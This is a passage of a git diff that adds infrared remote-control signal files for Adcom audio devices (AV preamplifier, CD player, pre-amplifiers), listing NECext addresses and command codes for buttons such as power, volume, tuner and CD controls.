00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: ch+(unused) +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir new file mode 100644 index 000000000..9a06b4817 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/AV Preamplifier/26,-1.ir @@ -0,0 +1,422 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_RIGHT_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: CURSOR_LEFT_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: RDS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: 1_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: 2_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: 3_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: 4_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: 5_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: 6_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 00 00 00 +# +name: 7_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: 8_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 17 00 00 00 +# +name: 9_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 18 00 00 00 +# +name: +10_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: 0_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: REPEAT_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 49 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4E 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 57 00 00 00 +# +name: MODE_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 57 00 00 00 +# +name: D120 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 78 00 00 00 +# +name: D2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 79 00 00 00 +# +name: D3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7A 00 00 00 +# +name: D4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7B 00 00 00 +# +name: D5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7C 00 00 00 +# +name: D6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7D 00 00 00 +# +name: D7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7E 00 00 00 +# +name: D8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 80 00 00 00 +# +name: D9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 81 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 82 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 83 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 85 00 00 00 +# +name: VIDEO4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 86 00 00 00 +# +name: VIDEO5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 87 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 88 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8A 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8C 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 90 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 91 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 92 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 94 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 95 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 96 00 00 00 +# +name: DYNAMIC_RANGE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C1 00 00 00 +# +name: EXTERNAL_5.1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C1 00 00 00 +# +name: BACKS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C5 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C6 00 00 00 +# +name: BALANCE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: C7 00 00 00 +# +name: DIM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: CA 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D1 00 00 00 +# +name: PRESET/TUNE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D3 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: D5 00 00 00 +# +name: DYNAMIC_RANGE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir new file mode 100644 index 000000000..883807a80 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/CD Player/26,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: SEARCH_FWD_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: SEARCH_REV_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0B 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: MANUAL_SRCH_FWD_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: FR_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: MANUAL_SRCH_REV_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 18 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1A 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1B 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1C 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1D 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1E 00 00 00 +# +name: MEMORY_CLEAR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1F 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1F 00 00 00 +# +name: REPEAT_CLEAR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 46 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 48 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 49 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4B 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4E 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir new file mode 100644 index 000000000..02110baff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/232,26.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: MAIN_POWER_ON_D +type: parsed +protocol: NECext +address: E8 1A 00 00 +command: 2A 00 00 00 +# +name: MAIN_POWER_ON_C +type: parsed +protocol: NECext +address: E8 1A 00 00 +command: 54 00 00 00 +# +name: MAIN_POWER_OFF_C +type: parsed +protocol: NECext +address: E8 1A 00 00 +command: 55 00 00 00 +# +name: MAIN_POWER_OFF_D +type: parsed +protocol: NECext +address: E8 1A 00 00 +command: AA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir new file mode 100644 index 000000000..25d3390c1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Adcom/Pre-Amplifier/26,-1.ir @@ -0,0 +1,1088 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_SKIP_FWD_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: CD_SKIP_REV_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: RDS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: 1_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: 2_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: 3_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: 4_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: 5_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 00 00 00 +# +name: 6_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: 7_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 17 00 00 00 +# +name: 8_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 17 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 18 00 00 00 +# +name: 9_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 18 00 00 00 +# +name: CD_+10 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: +10_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: CD_0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1A 00 00 00 +# +name: 0_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1A 00 00 00 +# +name: CD_DISC_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1B 00 00 00 +# +name: CD_DISC_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1C 00 00 00 +# +name: CD_DISC_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1D 00 00 00 +# +name: CD_DISC_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1E 00 00 00 +# +name: CD_DISC_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 43 00 00 00 +# +name: REPEAT_(CD) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 49 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 4E 00 00 00 +# +name: BAL_CHK +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 50 00 00 00 +# +name: CENTER_V +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 52 00 00 00 +# +name: REAR_V +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 53 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 57 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 57 00 00 00 +# +name: CENTER_^ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5A 00 00 00 +# +name: REAR_^ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5B 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 5C 00 00 00 +# +name: D120 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 78 00 00 00 +# +name: D2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 79 00 00 00 +# +name: D3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7A 00 00 00 +# +name: D4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7B 00 00 00 +# +name: D5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7C 00 00 00 +# +name: D6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7D 00 00 00 +# +name: D7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7E 00 00 00 +# +name: D8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 7F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 80 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 80 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 81 00 00 00 +# +name: D9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 81 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 82 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 82 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 83 00 00 00 +# +name: VIDEO/AUX +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: AUX2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 84 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 85 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 85 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 85 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 86 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 86 00 00 00 +# +name: VIDEO4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 86 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 87 00 00 00 +# +name: VIDEO5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 87 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 88 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 88 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 89 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8A 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8A 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8A 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8B 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8B 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8B 00 00 00 +# +name: TUNER_TUNING_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8C 00 00 00 +# +name: TUNING_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8C 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8C 00 00 00 +# +name: TUNER_TUNING_< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8D 00 00 00 +# +name: TUNING_< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8D 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8D 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8E 00 00 00 +# +name: TUNER_+10 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8E 00 00 00 +# +name: GROUP_A +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8E 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8F 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8F 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 8F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 90 00 00 00 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 90 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 90 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 90 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 91 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 91 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 91 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 91 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 92 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 92 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 92 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 92 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: TUNER_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 93 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 94 00 00 00 +# +name: TUNER_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 94 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 94 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 94 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 95 00 00 00 +# +name: TUNER_6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 95 00 00 00 +# +name: PRESET_6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 95 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 95 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 96 00 00 00 +# +name: TUNER_7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 96 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 96 00 00 00 +# +name: TUNER_8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 97 00 00 00 +# +name: TUNER_9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 98 00 00 00 +# +name: GROUP_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 99 00 00 00 +# +name: TUNER_0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 9A 00 00 00 +# +name: GROUP_B +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 9B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 9C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext 